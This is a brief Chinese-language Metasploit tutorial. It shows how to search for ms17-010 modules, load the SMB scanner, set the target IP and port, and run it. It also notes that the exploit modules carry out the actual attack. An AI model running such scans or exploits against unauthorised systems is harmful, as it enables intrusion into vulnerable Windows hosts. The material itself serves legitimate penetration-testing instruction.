1. 开启控制台

命令：

msfconsole

---

2. 搜索模块

命令：

search ms17-010  # 模块名

这里以搜索 ms17-010 为例，

auxiliary 开头的为测试模块，也就是 POC，看看存不存在漏洞，

exploit 开头的为攻击模块

---

3. 调用模块

命令：

use auxiliary/scanner/smb/smb_ms17_010

---

4. 查看模块使用方法

命令：

show options

Current Setting(当前设置) ，也就是默认设置

Required(需要) ，必须要设置的

RHOSTS 目标ip地址

RPORT 端口，不设置的话默认为 445

---

5. 设置目标IP地址

命令：

set RHOSTS 192.168.1.2  # 目标IP地址

---

6. 设置目标端口

命令：

set RPORT 445  # 目标I端口

如果不设置端口，默认为 445

---

7. exploit

命令：

exploit

设置完成后就可以 exploit 了